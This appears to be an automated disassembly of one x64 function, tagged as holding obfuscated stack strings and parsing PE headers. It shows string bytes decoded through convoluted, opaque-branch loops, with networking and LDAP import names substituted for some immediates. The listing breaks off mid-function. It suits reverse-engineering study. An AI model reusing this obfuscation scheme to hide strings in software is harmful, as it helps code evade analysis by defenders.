Function at 0x140072cb0
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1140]
mov eax, 0x1240
call fcn.14019bcb0
sub rsp, rax
mov rax, qword [0x1401dc800]
xor rax, rsp
mov qword [rbp + 0x1130], rax
cmp byte [0x14022bd6c], 0
jne 0x140072d01
call fcn.14006fd00
jmp 0x1400a4032
movss xmm2, dword [0x1401c3990]
movss xmm1, dword [0x1401c3980]
lea rcx, [rsp + 0x7c]
call fcn.140006440
mov edx, 2
lea rcx, [rsp + 0x7c]
call fcn.140014a10
mov byte [rbp + 0xaa0], 0xee
mov byte [rbp + 0xaa1], Ordinal_217
mov byte [rbp + 0xaa2], 0xb8
mov byte [rbp + 0xaa3], Ordinal_200
mov byte [rbp + 0xaa4], Ordinal_200
mov byte [rbp + 0xaa5], gethostname
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xaa6], xmm0
mov qword [rbp + 0xab6], rax
mov dword [rbp + 0xabe], eax
mov byte [rbp + 0xac2], al
movabs r14, 0xa1c6ac4561c054d8
movabs r15, 0x6bc18075e88b5628
movabs r13, 0x2b963319f79d9738
lea r12, [rax - 1]
movzx r10d, byte [rsp + 0x50]
nop dword [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor r11d, r11d
movabs rcx, 0x2015a6adf876df78
cmp r11, 0x23
jae 0x140073be5
movzx ebx, byte [rbp + r11 + 0xaa0]
mov edi, ebx
mov rsi, rdi
cmp r8, r11
ja 0x140073bdc
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140072e00
add rcx, r11
mov rax, rcx
and rax, rdi
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdi
sub r10b, 0x48
jmp 0x140072e46
je 0x140073b4d
inc rax
cmp r8, rax
je 0x140073ae8
lea rax, [r9 + 3]
cmp r8, rax
je 0x140073a90
lea rax, [r9 + 2]
cmp r8, rax
je 0x140073a58
lea rax, [r9 + 7]
cmp r8, rax
je 0x140073a2d
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400739d9
cmp r9, r11
ja 0x140073bd3
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x140072e75
lea rdx, [r11 + r14]
movzx eax, dl
and al, sil
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x140072ec0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400739b8
inc rax
cmp r8, rax
je 0x140073989
lea rax, [r9 + 3]
cmp r8, rax
je 0x140073937
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007390e
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400738fa
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x140073516
nop dword [rax]
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400734ee
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400734c2
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140073499
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140073471
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14007344e
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140073416
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400733f3
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400733cb
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140073396
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140072ed0
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140073bab
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140073b88
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400730c4
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400730a4
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140073085
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140073331
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400732d5
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140073287
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140073259
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140072ed0
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x40]
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140073234
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x140073211
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400731e9
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400731b6
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140073197
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140073172
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140073149
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x140073118
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400730f5
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140072ed0
lea r8, [r9 + 0x10]
lea r9, [r8 + 0x20]
jmp 0x140072ed0
lea rdx, [r11 + r15]
movzx eax, sil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x18
add r10b, dl
jmp 0x140072ec0
lea rdx, [r11 + r13]
movzx eax, sil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x140072e46
movabs rcx, 0xeb6ae5be06afd848
add rcx, r11
and sil, cl
mov eax, 4
sub al, sil
lea r10d, [rax + rax]
add r10b, dil
add r10b, cl
movabs rcx, 0x2015a6adf876df78
jmp 0x140072dd2
movabs rcx, 0xe35622b0e02a6c0
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x40
jmp 0x1400739f8
movabs rdx, 0xce0a14cf1d14e7d0
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc r9
dec r11
inc r11
jmp 0x140072db3
movabs rcx, 0x8ddec7732c2728e0
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x20
dec r11
inc r11
jmp 0x140072db3
movabs rdx, 0x4db37a173b3969f0
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x140073957
movabs rcx, 0xd882cbb4a4bab00
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
jmp 0x140073a78
movabs rcx, 0xcd5cdf5f595dec10
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x70
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140072db3
movabs rdx, 0x8d31920368702d20
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x140073ab4
movabs rcx, 0x4d0644a777826e30
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x50
jmp 0x140073b07
movabs rdx, 0xcdaf74b8694af40
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x140073b6e
movabs rcx, 0x6c6eb5e5ac4251e8
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x58
mov byte [rbp + r11 + 0xaa0], r10b
inc r11
jmp 0x140072db3
movabs rdx, 0x2c436889bb5492f8
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
cmp r9, 0x10
jb 0x140073277
movabs rcx, 0xc8a06950ff5d09d0
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r10d, [rcx*2 - 0x60]
jmp 0x1400739f8
movabs rcx, 0xec181b2dca66d408
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x38
cmp r8, 0x61
jae 0x14007389b
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x140073724
movabs rdx, 0x46ef63b996139470
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x10
add r10b, dl
jmp 0x1400732aa
movabs rdx, 0xabeccdd1d9791518
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
lea rax, [r9 + r8]
cmp rax, 0x41
je 0x1400738ca
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x140073613
movabs rdx, 0xa528b77434533f98
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x28
add r10b, dl
jmp 0x1400732f3
movabs rcx, 0xcaa809a04a81fd10
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x70
movzx eax, byte [rbp + r11 + 0xaa0]
add rax, r9
add r11, rax
inc r11
jmp 0x140072db3
movabs rdx, 0x8a7cbc4459943e20
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140073b07
movabs rcx, 0x4a516ee868a67f30
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x50
jmp 0x140073ab4
movabs rdx, 0xa26218c77b8c040
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140072db3
movabs rcx, 0xc9fad43086cb0150
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x30
jmp 0x140073a78
movabs rdx, 0x89cf86d495dd4260
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14007395a
movabs rcx, 0x49a43978a4ef8370
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x10
dec r11
inc r11
jmp 0x140072db3
movabs rcx, 0x978ec1cb401c480
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x80
inc r9
dec r11
inc r11
jmp 0x140072db3
movabs rdx, 0xc94d9ec0c3140590
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400739f8
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x140073543
movabs rcx, 0x2015a6adf876df78
add rcx, r11
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x48
jmp 0x140073354
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140073586
movabs rdx, 0x438d588ac380a9b0
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, byte [rbp + r11 + 0xaa0]
add rax, r9
add r11, rax
inc r11
jmp 0x140072db3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400735b7
movabs rdx, 0xc3e3f342a55c2790
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x140073ab4
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400735e3
movabs rcx, 0x443a8dfa8737a570
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x10
jmp 0x140073a78
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140073354
movabs rcx, 0x44e7c36a4aeea130
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x50
jmp 0x1400739f8
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140073644
movabs rdx, 0xe55404d02540fe88
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400739f8
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140073685
movabs rdx, 0x262c879bd9e5b938
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140072db3
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400736b1
movabs rcx, 0x6657d4f7cad37828
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x18
jmp 0x140073ab4
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400736e2
movabs rdx, 0xa6832253bbc13718
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x140073b07
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400732f3
movabs rcx, 0xe6ae6fafacaef608
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x38
movzx eax, byte [rbp + r11 + 0xaa0]
add rax, r9
add r11, rax
inc r11
jmp 0x140072db3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140073767
movabs rdx, 0x871ab11587015360
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, byte [rbp + r11 + 0xaa0]
add rax, r9
add r11, rax
inc r11
jmp 0x140072db3
inc rax
cmp r8, rax
jne 0x140073796
movabs rdx, 0xc745fe7177ef1250
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x30
add r10b, dl
jmp 0x140073b07
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400737d2
movabs rcx, 0x479c992959ca9030
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x50
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140072db3
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140073803
movabs rdx, 0x87c7e6854ab84f20
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140073a78
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007382f
movabs rcx, 0xc7f333e13ba60e10
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x70
jmp 0x14007395a
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007385d
movabs rcx, 0x81e813d2c93cd00
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
dec r11
inc r11
jmp 0x140072db3
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400732aa
movabs rdx, 0x4849ce991d818bf0
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc r9
dec r11
inc r11
jmp 0x140072db3
movabs rdx, 0x8cbb6acf04ac8c0
add rdx, r11
movzx eax, dl
and al, bl
add al, al
movzx r10d, byte [rbp + r11 + 0xaa0]
sub r10b, al
sub r10b, 0x40
add r10b, dl
add r10b, bl
jmp 0x14007395a
movabs rdx, 0x48f70408e13887b0
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + r11 + 0xaa0]
add r10b, bl
add r10b, dl
jmp 0x140073ab4
movabs rdx, 0x62f5c9c8f8408d68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x140073a9f
movabs rdx, 0xe29f2f1116650f88
add rdx, r11
movzx eax, dl
and al, sil
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
jmp 0x140073a78
movabs rdx, 0xa273e1b525775098
add rdx, r11
movzx eax, dl
and al, sil
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x28
add r10b, dl
movabs rdx, 0x28e15d5ae8c1a838
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
add cl, bl
mov byte [rbp + r11 + 0xaa0], cl
jmp 0x140073a78
movabs rdx, 0x62489459348991a8
add rdx, r11
movzx eax, dl
and al, sil
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
dec r11
inc r11
jmp 0x140072db3
movabs rcx, 0xe1f1f9a152ae13c8
add rcx, r11
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x78
jmp 0x1400739f8
movabs rcx, 0x619b5ee970d295e8
add rcx, r11
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x58
movabs rdx, 0xe8b60ffef7d3e948
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, 4
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + r11 + 0xaa0], cl
inc r9
dec r11
inc r11
jmp 0x140072db3
movabs rcx, 0xe144c4318ef71808
add rcx, r11
movzx eax, cl
and al, sil
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x38
dec r11
inc r11
jmp 0x140072db3
movabs rcx, 0x60ee2979ad1b9a28
add rcx, r11
movzx eax, cl
and al, sil
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x18
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140072db3
movabs rdx, 0xe0978ec1cb401c48
mov ecx, 4
add rdx, r11
movzx eax, dl
and al, sil
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
movabs rdx, 0x690caab6d9af6728
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x18
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0xaa0], al
inc r9
add rax, r9
sub r11, rax
jmp 0x140073b07
movabs rcx, 0xa06c4165da525d58
add rcx, r11
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x68
movabs rcx, 0x89225164d22646a0
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x60
add bl, cl
mov byte [rbp + r11 + 0xaa0], bl
inc r8
mov rax, r12
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0xaa0]
add rax, r9
add r11, rax
inc r11
jmp 0x140072db3
movabs rdx, 0x6040f409e9649e68
add rdx, r11
movzx eax, dl
and al, sil
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
movzx eax, byte [rbp + r11 + 0xaa0]
add rax, r9
add r11, rax
inc r11
jmp 0x140072db3
movabs rcx, 0xab3f986215c21958
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x68
jmp 0x140072dae
movabs rdx, 0x6b144b0624d45a68
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140072d9b
lea rcx, [rbp + 0x15e2f40]
jmp 0x140073bec
lea rcx, [rbp + 0xd50eb8]
jmp 0x140073bec
lea rcx, [rbp + 0xaa0]
xor edx, edx
mov r8d, 0x100
call fcn.140011db0
mov byte [rbp + 0xac8], Ordinal_217
mov byte [rbp + 0xac9], 0xf8
mov byte [rbp + 0xaca], 0xf8
mov byte [rbp + 0xacb], 0xe8
mov byte [rbp + 0xacc], 0x54
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xacd], xmm0
mov qword [rbp + 0xadd], rax
mov dword [rbp + 0xae5], eax
mov word [rbp + 0xae9], ax
movabs rsi, 0x147a74657e463884
movabs r13, 0xe8981dec73ba3374
movabs r14, 0x4a983f62d619effc
movabs r15, 0x79680389eea58914
movzx r11d, byte [rsp + 0x50]
nop word [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x140074a17
movzx r10d, byte [rbp + rbx + 0xac8]
mov rdi, r10
nop dword [rax + rax]
cmp r8, rbx
ja 0x140074a0e
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140073ccc
lea rcx, [rbx + r13]
mov rax, r10
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, r10
add r11, rcx
sub r11b, 0x2c
jmp 0x140073d00
je 0x140074979
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400748d9
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007489d
lea rax, [r9 + 8]
cmp r8, rax
je 0x140074848
nop dword [rax]
cmp r9, rbx
ja 0x140074a05
lea rax, [r9 + 3]
cmp r8, rax
jae 0x140073d2f
lea rdx, [rbx + rsi]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140073d70
lea rax, [r9 + 1]
cmp r8, rax
je 0x140074822
inc rax
cmp r8, rax
je 0x1400747f5
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400747a2
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007477e
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007475a
nop
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400743d0
nop dword [rax]
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400743a7
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007437a
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14007434b
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14007433c
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140074317
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400742de
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400742b8
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140074294
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14007425a
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140073d80
lea r8, [r9 + 0x80]
lea r9, [r8 + 8]
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400749dc
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400749b3
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140073f7b
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140073f5b
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140073f3b
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400741f6
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140074197
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140074146
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140074117
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140073d80
lea r8, [r9 + 0xa]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400740e2
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400740be
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x140074095
lea rax, [r9 + 3]
cmp r8, rax
ja 0x140074061
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14007403d
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140074029
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140073ffe
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x140073fcc
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140073fa3
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140073d80
lea r8, [r9 + 2]
lea r9, [r8 + 0x3e8]
jmp 0x140073d80
lea rdx, [rbx + r14]
movzx eax, dl
and al, r10b
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140073d70
lea rdx, [rbx + r15]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140073d00
movabs rdx, 0xa837c7b10731222c
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x34
add r11b, dl
jmp 0x140073c95
movabs rdx, 0xa3d3a32bf231c420
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140074867
movabs rdx, 0xd2a367530abd5d38
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r9
dec rbx
inc rbx
jmp 0x140073c82
movabs rcx, 0x1732b7a2348f650
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x30
dec rbx
inc rbx
jmp 0x140073c82
movabs rdx, 0x3042efa13bd48f68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x14007447b
movabs rcx, 0x5f12b3c854602880
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x80
jmp 0x1400748c1
movabs rcx, 0x8de277ef6cebc198
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x28
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140073c82
movabs rdx, 0xbcb23c1685775ab0
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400748ff
movabs rcx, 0xeb82003d9e02f3c8
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x78
jmp 0x14007492f
movabs rcx, 0x1a51c464b68e8ce0
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x20
movzx eax, byte [rbp + rbx + 0xac8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140073c82
movabs rcx, 0x8f592ec673eb8b9c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x44
mov byte [rbp + rbx + 0xac8], r11b
inc rbx
jmp 0x140073c82
movabs rdx, 0xbe28f2ed8c7724b4
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
cmp r9, 2
jb 0x140074136
movabs rcx, 0xac9bec361c308038
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea r11d, [rcx*2 - 0x10]
jmp 0x140074867
movabs rdx, 0xecf8b714a502bdcc
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
cmp r8, 0xa
jae 0x1400746fe
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x140074612
movabs rcx, 0x80b995bd11a47b28
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x18
jmp 0x14007416a
movabs rdx, 0x1bc87b3bbd8e56e4
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x3c
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x80
je 0x14007472f
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x1400744cc
movabs rcx, 0x6c3f2157935e42a4
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7c
jmp 0x1400741bb
movabs rdx, 0x7adeba60f5a55318
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
